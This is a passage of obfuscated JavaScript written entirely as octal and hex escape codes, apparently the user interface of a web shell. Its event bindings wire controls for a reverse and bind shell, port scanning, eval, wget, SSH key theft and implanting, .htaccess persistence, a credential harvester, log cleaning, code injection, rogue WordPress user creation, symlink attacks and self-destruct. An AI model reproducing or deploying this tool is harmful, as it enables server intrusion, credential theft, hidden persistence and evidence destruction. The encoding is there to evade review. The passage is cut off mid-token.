1\156\x64\x20\x6f\164\x68\145\162\40\x69\156\166\x61\154\x69\144\x20\x42\x61\x73\145\66\x34\x20\143\150\141\162\141\x63\164\145\x72\x73\12\11\11\11\154\x65\x74\x20\x63\154\x65\x61\x6e\x65\144\x20\x3d\x20\144\x61\164\141\56\x74\162\151\155\x28\x29\56\x72\x65\160\x6c\141\x63\145\x28\x2f\x5b\134\x73\134\x6e\134\162\134\164\x5d\x2f\x67\x2c\x20\47\47\x29\x3b\xa\x9\11\11\x2f\57\x20\x52\x65\155\x6f\x76\145\x20\x61\156\171\x20\156\157\156\x2d\x42\141\163\145\x36\x34\40\x63\150\141\162\x61\x63\x74\145\x72\x73\40\50\142\165\164\40\x6b\x65\x65\x70\40\160\141\144\x64\x69\x6e\147\40\75\x29\12\11\x9\x9\x63\154\145\141\x6e\145\144\x20\75\x20\x63\154\x65\141\156\145\x64\x2e\162\x65\x70\x6c\x61\143\x65\50\x2f\133\136\101\55\x5a\141\55\172\x30\55\x39\53\134\x2f\x3d\135\x2f\x67\54\40\x27\47\x29\x3b\xa\11\x9\x9\x2f\57\x20\105\156\x73\165\162\x65\x20\x70\162\x6f\x70\x65\162\40\160\141\144\x64\151\156\x67\12\11\x9\11\167\x68\x69\x6c\x65\x20\x28\x63\154\145\141\x6e\x65\144\56\154\145\156\147\164\150\x20\45\40\64\x20\x21\x3d\75\x20\x30\x29\x20\173\xa\x9\11\11\x9\x63\x6c\145\141\156\145\x64\x20\53\75\x20\47\x3d\47\73\12\x9\x9\11\175\12\11\x9\11\x74\162\171\40\x7b\12\x9\x9\x9\x9\143\157\x6e\163\x74\x20\144\x65\143\157\x64\x65\x64\x20\75\40\x61\164\x6f\142\x28\143\154\x65\x61\156\x65\x64\51\x3b\xa\11\x9\x9\11\x74\162\x79\40\x7b\12\x9\x9\x9\11\11\162\x65\x74\165\162\x6e\x20\144\x65\143\x6f\144\x65\x55\x52\111\x43\x6f\x6d\x70\157\x6e\x65\x6e\x74\50\145\x73\x63\x61\160\x65\50\x64\145\143\157\x64\x65\x64\51\51\x3b\xa\11\x9\11\x9\x7d\40\143\x61\x74\x63\150\40\50\145\51\x20\173\xa\x9\11\x9\11\11\x2f\x2f\x20\111\146\40\x55\124\106\55\x38\x20\x64\145\143\157\144\145\40\x66\x61\x69\154\x73\54\40\x72\x65\x74\x75\162\x6e\40\x72\141\x77\40\144\145\x63\157\x64\145\144\12\x9\x9\x9\11\x9\x72\145\164\165\162\156\x20\144\145\x63\x6f\x64\x65\x64\x3b\xa\x9\x9\11\11\x7d\12\x9\11\11\x7d\x20\x63\141\164\x63\x68\x20\x28\x65\51\40\x7b\xa\11\x9\x9\11\x63\x6f\x6e\x73\157\x6c\x65\x2e\145\162\x72\x6f\x72\50\42\102\141\163\x65\66\x34\40\x64\x65\x63\157\x64\151\x6e\x67\40\x65\162\x72\x6f\x72\72\x22\x2c\40\x65\51\73\12\11\x9\11\11\143\x6f\156\x73\157\x6c\x65\x2e\x65\x72\162\157\162\50\42\117\x72\x69\x67\151\156\141\x6c\x20\x64\x61\164\141\40\154\x65\156\147\x74\150\72\x22\54\x20\x64\141\x74\x61\56\x6c\x65\156\147\164\150\51\73\12\x9\x9\11\11\143\x6f\x6e\x73\x6f\x6c\145\x2e\x65\162\x72\x6f\162\50\x22\103\x6c\x65\x61\156\145\x64\40\x64\x61\x74\x61\40\x6c\145\x6e\x67\164\x68\72\x22\x2c\x20\x63\x6c\145\x61\x6e\x65\x64\56\154\x65\x6e\x67\164\x68\x29\73\xa\11\11\11\11\143\x6f\x6e\x73\157\154\145\56\145\x72\x72\157\x72\50\x22\x44\x61\x74\x61\40\160\x72\145\166\151\145\x77\72\x22\x2c\x20\144\x61\x74\x61\56\x73\165\142\x73\164\x72\x69\x6e\147\x28\60\54\x20\x31\60\x30\x29\51\73\xa\x9\x9\x9\11\x63\157\x6e\x73\x6f\x6c\x65\56\145\x72\162\157\x72\x28\42\x43\x6c\145\x61\x6e\145\144\x20\x70\x72\x65\x76\x69\145\167\72\x22\54\40\x63\x6c\145\x61\x6e\x65\x64\56\163\165\x62\163\164\x72\x69\156\147\50\x30\x2c\x20\x31\x30\x30\x29\51\x3b\12\x9\x9\x9\x9\x72\x65\x74\165\162\156\40\156\x75\x6c\154\x3b\12\11\11\x9\x7d\xa\x9\x9\x7d\x2c\xa\11\11\x62\x69\x6e\144\105\166\145\156\x74\x73\x28\x29\40\173\12\11\x9\11\144\157\x63\x75\155\x65\x6e\x74\x2e\161\165\x65\x72\x79\123\145\154\145\143\164\157\x72\x41\x6c\x6c\x28\x27\56\x6e\x61\x76\55\142\x75\x74\x74\x6f\x6e\x27\x29\56\146\x6f\162\105\141\143\150\50\x65\154\40\x3d\76\40\173\x20\x65\x6c\x2e\141\x64\144\105\x76\145\x6e\164\x4c\151\163\x74\145\156\x65\162\50\x27\143\154\x69\143\x6b\x27\x2c\x20\50\51\40\x3d\76\40\x7b\x20\164\x68\151\x73\56\x6e\x61\166\x69\x67\141\x74\x65\50\145\x6c\56\144\141\164\x61\163\x65\x74\56\x76\x69\145\167\51\73\40\175\51\73\40\x7d\x29\73\12\11\x9\x9\x64\x6f\x63\x75\x6d\145\156\164\56\161\x75\145\162\x79\x53\145\x6c\x65\143\164\157\162\101\154\x6c\50\x27\x2e\x6d\x6f\144\x61\154\x20\56\x63\x6c\x6f\x73\x65\x27\x29\x2e\146\157\x72\x45\x61\x63\x68\50\x65\154\x20\x3d\x3e\x20\x65\154\56\x61\x64\x64\x45\166\145\156\x74\114\151\x73\x74\145\156\x65\x72\x28\x27\143\154\x69\x63\x6b\x27\54\x20\x28\51\x20\75\x3e\40\164\x68\x69\x73\x2e\143\x6c\x6f\163\x65\x4d\x6f\x64\x61\x6c\x28\x65\154\56\x63\x6c\x6f\x73\x65\x73\x74\x28\47\56\x6d\x6f\144\x61\x6c\x27\51\51\51\51\x3b\12\11\x9\x9\x63\x6f\x6e\x73\164\40\x73\141\x66\x65\x41\x64\x64\105\166\x65\x6e\x74\x4c\x69\163\164\145\x6e\145\162\x20\x3d\x20\50\151\x64\x2c\x20\x68\141\156\x64\x6c\145\x72\x29\40\75\76\40\173\40\143\x6f\x6e\x73\164\x20\x65\154\x20\x3d\x20\x64\157\x63\x75\x6d\145\x6e\x74\x2e\x67\x65\x74\105\154\145\x6d\x65\156\164\102\171\x49\144\50\x69\x64\51\73\x20\151\x66\x20\50\145\154\51\x20\145\x6c\x2e\x61\144\x64\105\x76\145\x6e\x74\x4c\151\x73\164\145\156\x65\162\50\47\x63\x6c\151\x63\153\x27\54\40\x68\141\156\x64\154\145\x72\x29\73\x20\x7d\x3b\xa\x9\11\x9\12\11\x9\11\57\x2f\40\x48\145\x61\144\x65\x72\40\143\x6f\x6c\x6c\x61\x70\163\145\x20\x62\165\x74\164\157\156\xa\11\11\11\143\x6f\x6e\163\x74\40\150\x65\141\x64\x65\x72\x43\x6f\154\154\141\160\163\x65\x42\164\x6e\40\75\x20\144\x6f\x63\x75\155\145\x6e\164\x2e\x67\x65\164\x45\x6c\145\155\145\156\x74\102\x79\111\144\x28\x27\x68\145\141\x64\145\162\x2d\x63\x6f\x6c\154\x61\x70\x73\x65\x2d\142\x74\156\x27\x29\73\xa\11\11\11\143\157\156\x73\164\40\163\171\x73\x74\x65\155\111\156\146\x6f\x48\145\141\144\x65\x72\40\x3d\x20\144\x6f\143\x75\155\145\156\164\x2e\x67\145\164\105\154\145\x6d\x65\156\x74\102\x79\x49\144\x28\47\x73\x79\163\164\145\x6d\55\151\156\x66\157\55\x68\145\141\144\x65\x72\x27\51\x3b\12\x9\11\11\151\x66\40\x28\x68\x65\x61\x64\x65\162\x43\157\154\154\x61\160\163\x65\102\164\x6e\x20\46\46\x20\x73\171\x73\x74\145\x6d\x49\x6e\x66\x6f\x48\145\x61\144\145\162\x29\x20\173\12\x9\11\11\x9\x68\x65\x61\144\145\162\x43\157\x6c\x6c\x61\160\x73\145\x42\164\156\56\x61\x64\144\x45\166\x65\156\164\x4c\151\x73\x74\145\x6e\x65\x72\x28\x27\x63\x6c\x69\x63\x6b\x27\54\x20\50\x65\51\x20\75\x3e\40\173\xa\x9\11\x9\x9\11\145\56\160\162\145\166\x65\x6e\x74\x44\x65\x66\x61\165\154\x74\x28\x29\73\xa\11\x9\x9\x9\x9\x65\x2e\163\164\157\x70\120\162\157\160\x61\x67\x61\164\151\x6f\156\x28\x29\73\xa\x9\x9\11\11\11\x73\171\163\x74\145\155\x49\x6e\x66\157\110\x65\141\144\145\162\x2e\x63\x6c\141\163\163\x4c\151\163\x74\x2e\x74\x6f\x67\147\x6c\x65\x28\47\143\157\x6c\154\x61\x70\x73\x65\144\x27\x29\73\12\11\x9\11\x9\11\143\x6f\156\163\x74\40\151\163\x43\x6f\154\x6c\141\x70\x73\145\x64\40\75\x20\x73\x79\163\x74\145\155\x49\156\x66\157\x48\145\x61\x64\x65\x72\x2e\x63\154\141\163\163\x4c\x69\x73\164\56\143\x6f\156\164\141\151\x6e\163\x28\47\143\x6f\x6c\154\141\160\163\145\x64\x27\51\x3b\12\x9\x9\11\x9\11\150\145\x61\x64\x65\x72\103\157\x6c\154\141\x70\x73\x65\102\x74\156\56\164\x65\x78\164\x43\157\x6e\x74\x65\x6e\x74\40\75\x20\151\x73\103\x6f\154\x6c\x61\160\163\x65\144\x20\x3f\40\47\342\x98\xb0\47\40\x3a\x20\47\xe2\x9c\x95\47\x3b\12\11\x9\11\11\11\150\x65\141\x64\145\162\x43\x6f\154\154\141\160\x73\x65\x42\x74\x6e\56\164\151\x74\154\x65\x20\75\40\x69\x73\103\157\x6c\154\x61\160\163\x65\144\x20\x3f\x20\x27\x53\150\157\167\40\x53\x79\163\x74\145\x6d\x20\111\156\146\157\47\40\72\40\x27\x48\151\144\145\x20\123\x79\163\164\145\x6d\x20\111\156\x66\x6f\47\x3b\xa\x9\11\11\11\x7d\x29\73\xa\x9\11\x9\x7d\12\11\x9\11\xa\11\x9\x9\x2f\x2f\40\x4e\x61\166\x69\x67\141\x74\x69\157\156\x20\x63\157\x6c\x6c\x61\x70\163\145\40\x62\165\x74\164\157\156\xa\x9\x9\x9\x63\x6f\x6e\163\x74\40\156\x61\x76\103\x6f\154\x6c\141\160\x73\x65\102\164\x6e\x20\75\x20\x64\x6f\x63\165\155\145\x6e\164\x2e\147\145\164\105\154\145\155\145\156\x74\x42\x79\x49\144\x28\47\x6e\x61\x76\x2d\x63\157\x6c\154\141\160\x73\x65\55\142\164\156\47\x29\73\12\11\11\11\x63\157\x6e\x73\x74\40\x74\157\x70\x4e\x61\166\142\141\x72\x20\x3d\40\144\x6f\143\x75\155\x65\156\164\56\x67\145\x74\105\154\145\155\x65\x6e\x74\102\x79\x49\144\x28\x27\x74\157\x70\x2d\x6e\x61\166\x62\141\162\47\x29\x3b\xa\11\11\x9\151\x66\40\x28\156\141\166\x43\157\x6c\154\x61\x70\x73\145\x42\x74\x6e\40\46\46\40\164\157\160\x4e\141\x76\142\x61\162\x29\x20\173\xa\11\11\x9\11\156\141\166\x43\157\x6c\x6c\141\x70\163\x65\102\164\x6e\56\x61\144\x64\105\166\145\x6e\164\114\x69\163\164\x65\x6e\x65\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\51\x20\x3d\x3e\x20\x7b\xa\11\x9\x9\x9\11\164\157\160\116\141\x76\142\x61\x72\56\x63\154\141\163\163\114\x69\x73\x74\x2e\x74\157\x67\147\154\x65\x28\47\145\x78\x70\x61\156\144\x65\144\x27\x29\x3b\12\11\x9\11\x9\11\156\141\166\x43\157\x6c\x6c\141\160\163\145\x42\164\156\56\164\x65\x78\x74\x43\157\156\x74\145\x6e\164\40\75\40\x74\157\160\x4e\141\x76\142\x61\x72\56\143\154\x61\163\x73\114\151\163\164\56\143\157\156\x74\141\x69\156\163\x28\x27\x65\170\x70\x61\x6e\144\145\144\47\51\x20\x3f\x20\47\xe2\x9c\x95\40\115\x65\156\x75\x27\40\72\x20\x27\xe2\230\xb0\x20\x4d\x65\x6e\165\47\x3b\12\x9\11\x9\x9\x7d\x29\73\xa\11\11\x9\175\xa\11\11\11\x73\141\x66\x65\x41\144\144\105\166\x65\x6e\x74\x4c\151\163\x74\145\156\x65\x72\50\47\150\157\x6d\145\x2d\163\x68\x65\154\x6c\55\142\164\156\x27\x2c\x20\50\51\40\x3d\76\40\164\150\x69\163\x2e\x6c\157\x61\x64\x46\151\154\145\x73\x28\164\x68\x69\163\56\163\150\145\154\154\137\x64\151\x72\x29\51\x3b\12\11\x9\x9\x2f\x2f\40\x4e\157\x74\x65\x3a\40\x66\x69\154\x65\x2d\x6c\151\x73\164\40\145\166\145\156\x74\x20\x68\141\156\x64\x6c\x65\x72\40\x69\163\x20\x61\x64\144\x65\144\x20\x69\156\40\x6c\x6f\x61\144\106\x69\154\x65\163\50\51\40\x74\x6f\40\160\x72\x65\x76\x65\156\x74\40\144\157\165\142\154\x65\40\142\x69\156\144\x69\156\x67\12\11\x9\x9\x73\141\146\145\x41\x64\x64\x45\x76\145\156\164\x4c\151\x73\164\x65\156\145\x72\50\47\x63\x72\x65\141\x74\x65\x2d\146\x69\154\x65\55\x62\x74\x6e\47\x2c\x20\x28\51\40\x3d\76\x20\x74\150\x69\163\56\143\162\x65\141\164\x65\x49\164\145\x6d\x28\47\x66\151\154\145\x27\x29\51\x3b\xa\40\11\x9\x9\x73\x61\146\145\x41\x64\144\105\x76\145\x6e\x74\x4c\x69\x73\164\x65\x6e\145\x72\50\47\143\162\145\141\164\x65\x2d\x64\151\162\55\x62\x74\x6e\47\x2c\x20\x28\51\x20\75\76\40\164\x68\151\163\56\143\x72\145\141\x74\x65\x49\x74\x65\155\x28\47\x64\151\x72\47\x29\51\73\xa\x20\11\x9\11\163\x61\x66\145\101\x64\x64\105\166\145\x6e\x74\x4c\151\163\164\145\x6e\145\x72\50\x27\165\160\154\157\x61\144\55\146\x69\154\x65\x2d\x69\156\x70\165\164\47\54\40\x65\40\75\x3e\x20\164\x68\x69\163\x2e\x75\160\x6c\157\x61\144\106\x69\x6c\x65\x73\50\145\x29\x29\73\xa\x20\11\11\x9\163\x61\x66\145\x41\144\144\x45\x76\145\156\x74\114\151\x73\164\145\156\145\162\50\47\x74\145\x72\155\55\x69\156\x70\x75\164\47\54\x20\x65\40\75\x3e\40\x74\x68\151\x73\x2e\x68\x61\x6e\x64\154\x65\124\145\162\x6d\151\x6e\x61\x6c\111\156\160\x75\164\x28\x65\x29\51\x3b\xa\x20\x9\x9\x9\163\141\146\x65\x41\x64\144\x45\x76\145\156\x74\x4c\x69\163\164\x65\x6e\x65\162\50\x27\163\164\x61\x72\x74\x2d\x73\x63\141\156\55\142\x74\x6e\47\x2c\x20\50\x29\40\75\x3e\40\x74\x68\151\163\x2e\163\x74\x61\x72\164\x50\157\162\164\123\143\x61\x6e\x28\x29\51\73\xa\40\11\11\x9\x73\x61\x66\x65\x41\144\144\x45\x76\145\x6e\164\x4c\x69\163\164\145\156\145\162\50\x27\x72\x75\x6e\55\x65\166\x61\x6c\55\x62\164\156\x27\54\x20\x28\51\40\x3d\76\x20\164\x68\151\163\x2e\162\165\x6e\105\x76\141\154\x28\51\x29\73\12\x20\x9\11\11\x73\141\x66\x65\101\144\144\x45\x76\145\156\x74\114\151\163\164\x65\156\145\162\x28\x27\x77\147\145\164\x2d\142\x74\156\47\54\40\50\x29\x20\75\x3e\40\x74\x68\x69\x73\56\162\x75\x6e\127\147\145\164\50\51\x29\73\xa\40\11\x9\11\x73\x61\146\145\x41\x64\x64\x45\166\145\x6e\164\x4c\x69\x73\164\145\x6e\x65\x72\50\47\x73\145\154\x66\x2d\x64\x65\x73\x74\x72\165\x63\164\55\x62\x74\156\47\x2c\40\x28\51\40\x3d\76\40\x74\x68\x69\163\56\x73\145\x6c\x66\x44\x65\163\164\x72\x75\x63\x74\50\51\51\73\xa\40\11\11\x9\x73\x61\146\145\101\x64\x64\x45\x76\x65\x6e\x74\114\x69\x73\x74\x65\156\145\x72\x28\47\x6d\141\163\163\x2d\165\x70\x6c\157\x61\144\55\142\x74\x6e\x27\x2c\40\x28\x29\40\75\x3e\x20\164\150\x69\x73\x2e\x72\x75\156\115\141\163\163\x55\160\x6c\157\141\144\x28\51\x29\73\xa\40\11\11\11\x73\141\x66\145\x41\x64\144\105\166\145\x6e\x74\114\x69\163\x74\x65\156\x65\162\50\x27\x66\x69\x6e\144\x2d\163\x75\151\x64\x2d\147\x75\x69\144\x2d\142\x74\x6e\47\x2c\40\50\51\40\75\x3e\40\164\x68\x69\163\x2e\146\151\156\144\x53\x75\x69\x64\107\165\x69\144\106\151\x6c\145\163\x28\51\51\x3b\xa\40\x9\11\11\163\141\146\145\101\144\144\x45\x76\145\x6e\164\x4c\151\x73\x74\145\156\x65\162\x28\x27\162\165\x6e\55\x64\142\x2d\161\165\145\162\171\x2d\142\164\156\x27\x2c\40\50\51\x20\75\x3e\x20\x74\150\151\163\56\x72\x75\156\104\x62\121\x75\145\x72\171\50\x29\51\73\12\40\x9\11\x9\163\x61\146\145\x41\x64\144\105\x76\x65\x6e\x74\114\x69\x73\x74\145\156\x65\x72\50\x27\143\x6f\156\x6e\145\143\164\x2d\162\x65\166\x2d\x73\150\145\154\x6c\55\x62\x74\156\47\54\40\x28\x29\x20\75\76\x20\x74\x68\151\x73\56\143\157\x6e\x6e\145\143\164\122\x65\166\145\162\x73\x65\123\150\x65\x6c\x6c\x28\51\51\73\12\x20\x9\11\11\163\141\x66\145\101\144\x64\x45\x76\145\x6e\x74\114\x69\x73\x74\x65\x6e\x65\x72\x28\x27\143\157\x6e\x6e\x65\x63\x74\55\142\x69\x6e\x64\55\x73\150\x65\x6c\154\x2d\x62\164\x6e\47\54\x20\50\x29\x20\75\x3e\40\164\150\151\x73\x2e\143\x6f\x6e\x6e\x65\143\x74\102\151\x6e\144\x53\150\x65\154\154\50\51\x29\73\12\x20\x9\11\11\x73\x61\x66\x65\x41\x64\144\105\x76\145\156\x74\x4c\x69\x73\164\x65\156\x65\162\50\x27\x73\164\141\162\x74\x2d\163\145\x61\162\143\150\x2d\x62\x74\156\47\x2c\x20\50\51\x20\x3d\76\x20\164\150\x69\163\56\x73\145\141\x72\143\x68\x46\151\154\x65\x73\50\51\x29\x3b\12\x20\11\11\11\x73\x61\x66\x65\101\x64\x64\x45\166\x65\x6e\164\x4c\x69\163\x74\145\x6e\x65\162\50\x27\x73\141\x76\x65\x2d\143\162\157\156\x2d\x62\x74\x6e\47\x2c\40\x28\x29\x20\75\x3e\40\x74\x68\151\x73\x2e\x73\141\166\x65\x43\162\157\156\50\x29\51\73\xa\x20\x9\x9\11\x73\x61\146\145\101\144\144\105\x76\145\156\164\x4c\x69\x73\164\x65\156\145\162\x28\47\147\145\x74\55\165\x73\145\x72\163\55\147\x72\x6f\x75\160\x73\55\142\164\156\x27\54\40\50\51\40\x3d\76\x20\164\x68\x69\x73\56\147\145\x74\125\163\x65\162\x73\x41\x6e\144\x47\162\x6f\x75\160\x73\x28\x29\x29\73\12\40\x9\11\11\163\x61\x66\x65\101\144\x64\105\x76\x65\156\x74\x4c\151\163\164\x65\x6e\145\162\x28\47\x67\145\164\x2d\153\145\162\156\x65\x6c\55\151\x6e\x66\x6f\x2d\142\164\x6e\47\54\40\x28\x29\x20\75\76\40\164\x68\151\x73\x2e\147\x65\x74\113\x65\162\x6e\145\154\111\156\x66\157\x28\x29\51\x3b\12\40\11\11\11\163\x61\x66\x65\x41\x64\144\105\166\x65\156\x74\114\151\163\164\x65\x6e\145\x72\50\47\163\164\x61\x72\164\x2d\x63\157\x6e\x74\x65\156\x74\x2d\x73\145\x61\162\143\150\55\x62\x74\156\x27\x2c\x20\x28\x29\40\75\x3e\x20\x74\x68\151\x73\x2e\x73\145\141\x72\x63\x68\x43\x6f\156\x74\145\156\x74\50\51\51\x3b\xa\x20\x9\11\x9\163\x61\x66\145\101\x64\x64\x45\166\x65\x6e\164\x4c\x69\x73\164\145\x6e\145\x72\50\47\147\x65\x74\55\143\157\x6e\x66\x69\x67\163\x2d\x62\x74\x6e\47\x2c\x20\x28\x29\40\x3d\76\x20\x74\150\x69\163\x2e\147\x65\x74\x43\157\156\x66\x69\147\x73\x28\x29\x29\x3b\xa\40\x9\11\11\x73\141\x66\x65\101\x64\144\105\166\145\156\x74\x4c\151\x73\x74\145\156\x65\x72\x28\x27\151\156\x6a\145\x63\x74\x2d\x63\x6f\x64\x65\x2d\142\x74\x6e\47\x2c\x20\50\x29\40\75\76\40\164\150\x69\163\x2e\x69\156\152\x65\x63\164\103\x6f\x64\145\x28\51\x29\x3b\12\40\11\x9\11\163\x61\146\145\101\144\144\x45\166\x65\156\x74\x4c\x69\x73\164\x65\156\x65\x72\x28\x27\x6c\x6f\x67\55\143\154\145\x61\156\145\x72\x2d\142\x74\x6e\47\x2c\x20\x28\51\x20\75\x3e\40\164\x68\x69\x73\x2e\x63\154\x65\141\156\x4c\157\x67\x28\x29\51\x3b\xa\x20\x9\x9\11\x64\x6f\x63\165\155\x65\156\x74\56\x71\165\145\x72\x79\x53\x65\x6c\145\x63\164\x6f\162\101\154\x6c\50\x27\56\164\141\142\x2d\154\151\x6e\153\47\51\56\x66\157\162\x45\x61\143\x68\x28\164\141\142\x20\75\x3e\40\173\x20\x74\141\142\56\x61\x64\144\105\166\x65\156\164\114\151\x73\x74\x65\x6e\x65\x72\50\47\x63\x6c\151\x63\153\x27\x2c\40\50\x65\51\40\75\x3e\x20\x7b\40\x63\x6f\156\163\x74\x20\x74\141\x72\x67\145\x74\124\141\x62\x20\x3d\x20\145\56\x74\141\162\147\145\164\x2e\x64\x61\164\141\x73\x65\x74\56\x74\141\142\73\x20\143\157\156\x73\x74\40\x74\141\142\163\x43\157\156\164\141\151\x6e\x65\x72\40\x3d\40\145\56\164\141\x72\147\x65\x74\x2e\x63\154\x6f\x73\145\163\x74\50\47\56\164\x61\x62\163\47\x29\73\x20\x63\157\x6e\163\x74\x20\166\x69\x65\167\103\157\x6e\x74\x61\151\x6e\145\x72\x20\x3d\x20\x65\56\164\141\x72\x67\145\x74\56\143\x6c\157\x73\x65\163\164\50\x27\56\166\151\145\x77\x2d\143\157\x6e\164\141\x69\156\145\162\x27\x29\x3b\40\x69\x66\x20\x28\164\x61\x62\x73\x43\157\156\x74\x61\151\x6e\145\162\40\46\46\40\x76\151\145\167\103\x6f\x6e\164\141\151\156\x65\162\x29\x20\x7b\x20\x74\141\x62\163\x43\157\x6e\164\141\151\x6e\x65\162\56\x71\x75\145\x72\x79\123\x65\154\x65\x63\164\x6f\x72\x41\154\x6c\50\47\56\x74\x61\x62\x2d\154\x69\x6e\153\47\x29\56\146\x6f\x72\x45\141\x63\150\x28\164\40\x3d\76\40\x74\x2e\x63\x6c\141\x73\x73\114\151\163\164\56\x72\x65\155\x6f\166\145\x28\x27\141\143\x74\x69\166\x65\x27\51\51\73\40\145\x2e\164\141\x72\x67\x65\x74\56\143\x6c\x61\163\x73\x4c\x69\x73\164\x2e\x61\144\x64\50\47\x61\x63\164\x69\x76\145\47\x29\73\x20\166\x69\x65\167\103\x6f\x6e\x74\141\x69\156\x65\x72\x2e\161\165\145\162\x79\x53\x65\154\145\143\x74\157\x72\101\x6c\154\x28\47\x2e\x74\x61\142\55\143\157\156\x74\145\x6e\164\47\x29\56\146\157\x72\105\141\143\x68\x28\143\x20\x3d\76\x20\x63\x2e\x63\154\x61\163\x73\x4c\151\x73\164\56\162\145\x6d\x6f\x76\x65\x28\47\x61\x63\x74\151\x76\x65\x27\x29\x29\x3b\x20\x63\x6f\x6e\163\164\40\x74\x61\x72\x67\145\164\103\x6f\156\x74\x65\x6e\164\40\x3d\40\x76\151\x65\167\x43\x6f\156\x74\141\x69\x6e\145\162\x2e\x71\165\145\x72\171\123\x65\x6c\145\143\x74\157\x72\x28\140\43\x74\141\142\55\44\x7b\x74\141\x72\147\x65\164\124\141\142\175\140\x29\x3b\40\x69\x66\x20\50\x74\x61\162\147\x65\164\x43\x6f\156\164\x65\x6e\164\51\x20\164\x61\162\147\145\164\103\157\156\164\x65\x6e\164\x2e\143\154\141\x73\x73\x4c\151\163\164\x2e\141\144\144\x28\x27\x61\143\x74\151\x76\x65\x27\x29\73\x20\175\40\175\x29\73\40\x7d\51\73\xa\40\x9\x9\11\x73\x61\146\x65\x41\x64\x64\x45\x76\x65\156\164\x4c\151\x73\164\145\156\145\x72\x28\x27\x73\151\144\x65\x62\x61\x72\55\164\157\147\147\x6c\x65\47\54\40\50\x29\x20\75\76\x20\x64\x6f\x63\x75\155\x65\156\164\56\x62\157\144\x79\x2e\143\154\141\163\x73\x4c\151\163\164\56\164\x6f\x67\x67\154\x65\50\x27\x73\151\144\x65\x62\x61\162\55\157\x70\145\x6e\x27\51\x29\x3b\12\40\x9\11\x9\x73\x61\146\145\x41\144\x64\105\x76\145\156\x74\114\x69\x73\x74\145\156\145\162\x28\47\x73\x69\x64\x65\x62\x61\x72\55\157\x76\x65\162\x6c\x61\x79\47\x2c\40\50\51\x20\x3d\x3e\x20\x64\x6f\143\x75\x6d\145\x6e\164\56\142\x6f\144\171\56\143\154\x61\x73\x73\x4c\151\163\164\56\162\x65\155\x6f\166\x65\50\47\163\x69\144\145\142\141\162\x2d\x6f\x70\145\156\47\51\51\x3b\12\40\11\11\11\163\141\146\x65\x41\144\x64\x45\x76\x65\x6e\x74\114\x69\x73\x74\x65\x6e\x65\162\50\x27\162\x75\156\x2d\x64\x6f\155\x61\x69\156\55\151\x6e\164\x65\154\55\142\x74\156\x27\54\40\x28\x29\40\x3d\76\40\x74\x68\x69\163\x2e\x72\x75\x6e\x44\x6f\155\141\151\156\x49\x6e\164\145\154\50\51\51\x3b\12\x20\x9\11\x9\163\141\x66\x65\101\144\x64\105\x76\145\x6e\164\114\x69\x73\x74\145\156\145\162\50\x27\163\165\x64\x6f\x2d\x63\150\x65\143\153\55\x62\x74\x6e\47\54\x20\50\x29\40\75\76\x20\x74\x68\x69\x73\x2e\x72\165\156\x53\x75\144\x6f\x43\x68\x65\143\153\50\51\x29\73\12\40\11\x9\11\163\141\x66\x65\x41\144\144\x45\166\x65\156\x74\114\x69\163\x74\145\x6e\x65\162\50\x27\147\x65\x74\x2d\x75\x73\x65\162\55\143\x6f\156\x74\145\x78\x74\55\x62\x74\x6e\47\54\40\50\51\x20\x3d\x3e\40\x74\150\x69\x73\56\x67\x65\x74\x55\163\145\x72\103\x6f\x6e\x74\145\x78\x74\50\51\x29\x3b\12\40\x9\x9\11\x73\141\x66\x65\x41\144\x64\105\166\x65\x6e\x74\114\x69\163\x74\x65\156\x65\x72\50\47\146\151\x6e\144\x2d\x77\x72\151\164\x61\142\x6c\145\x2d\x62\164\x6e\47\x2c\40\50\51\x20\x3d\76\x20\164\150\151\x73\56\x66\151\x6e\x64\x57\x72\x69\164\141\x62\x6c\x65\x28\51\51\73\12\x20\x9\11\x9\163\141\x66\145\x41\144\144\x45\x76\145\156\164\x4c\x69\163\164\x65\x6e\x65\162\50\x27\147\x65\x74\x2d\x73\163\x68\55\153\x65\x79\163\x2d\x62\164\156\x27\x2c\40\50\x29\x20\x3d\76\x20\x74\150\151\163\x2e\147\145\164\x53\163\x68\113\x65\171\163\x28\51\x29\73\12\40\11\x9\11\163\141\x66\145\x41\144\x64\x45\x76\145\x6e\164\x4c\151\163\164\145\156\145\x72\x28\47\x61\x64\x64\x2d\163\163\x68\55\153\145\171\x2d\142\x74\156\x27\54\40\x28\x29\40\x3d\76\40\164\150\x69\x73\x2e\x61\x64\x64\x53\x73\x68\x4b\145\x79\x28\51\x29\73\xa\x20\x9\x9\x9\x73\x61\146\145\101\x64\x64\x45\x76\145\x6e\x74\x4c\151\x73\164\145\x6e\145\x72\x28\x27\150\x74\141\x63\x63\145\163\163\x2d\x70\145\162\x73\x69\163\x74\55\142\x74\x6e\47\54\x20\x28\x29\x20\75\x3e\40\x74\x68\151\x73\56\x61\x70\160\154\171\110\x74\x61\143\x63\x65\x73\x73\x50\x65\162\x73\x69\163\164\x28\x29\x29\73\12\x20\x9\x9\x9\x73\x61\x66\x65\101\x64\x64\x45\166\145\x6e\164\x4c\x69\163\164\145\156\145\x72\50\47\143\162\145\144\x2d\150\141\x72\x76\145\163\164\145\x72\x2d\x62\x74\x6e\47\x2c\x20\x28\x29\40\x3d\76\x20\x74\150\151\x73\56\162\165\156\103\x72\145\144\x48\x61\162\x76\x65\x73\x74\145\162\50\x29\x29\73\xa\40\x9\x9\x9\163\x61\x66\145\x41\144\144\105\x76\x65\156\164\114\151\163\164\x65\x6e\145\x72\x28\x27\163\x74\141\x72\164\55\x70\x6f\162\164\x2d\x66\157\162\x77\x61\162\144\x2d\142\x74\156\47\x2c\40\50\x29\40\x3d\x3e\x20\164\150\x69\163\x2e\x73\164\141\x72\164\x50\x6f\162\x74\106\x6f\162\x77\x61\x72\144\50\x29\x29\x3b\xa\x20\x9\11\11\x73\x61\x66\145\x41\144\x64\x45\x76\x65\156\x74\114\151\163\x74\x65\x6e\145\162\50\47\143\x72\x65\x61\164\x65\x2d\167\160\x2d\165\163\x65\x72\x2d\142\164\156\x27\54\40\x28\x29\x20\75\76\x20\164\x68\151\x73\56\x63\x72\x65\x61\x74\x65\127\160\x55\x73\145\x72\x28\51\51\73\12\x20\x9\11\x9\x73\141\146\x65\x41\144\x64\105\x76\145\x6e\164\114\x69\x73\x74\145\x6e\x65\x72\50\47\162\x75\156\x2d\x73\171\155\154\x69\x6e\x6b\x2d\x62\x74\x6e\x27\x2c\40\x28\51\x20\x3d\x3e\40\164\150\151\x73\56\x72\165\156\x53\x79\x6d\154\x69\156\x6b\50\x29\x29\x3b\xa\40\x9\x9\x9\163\x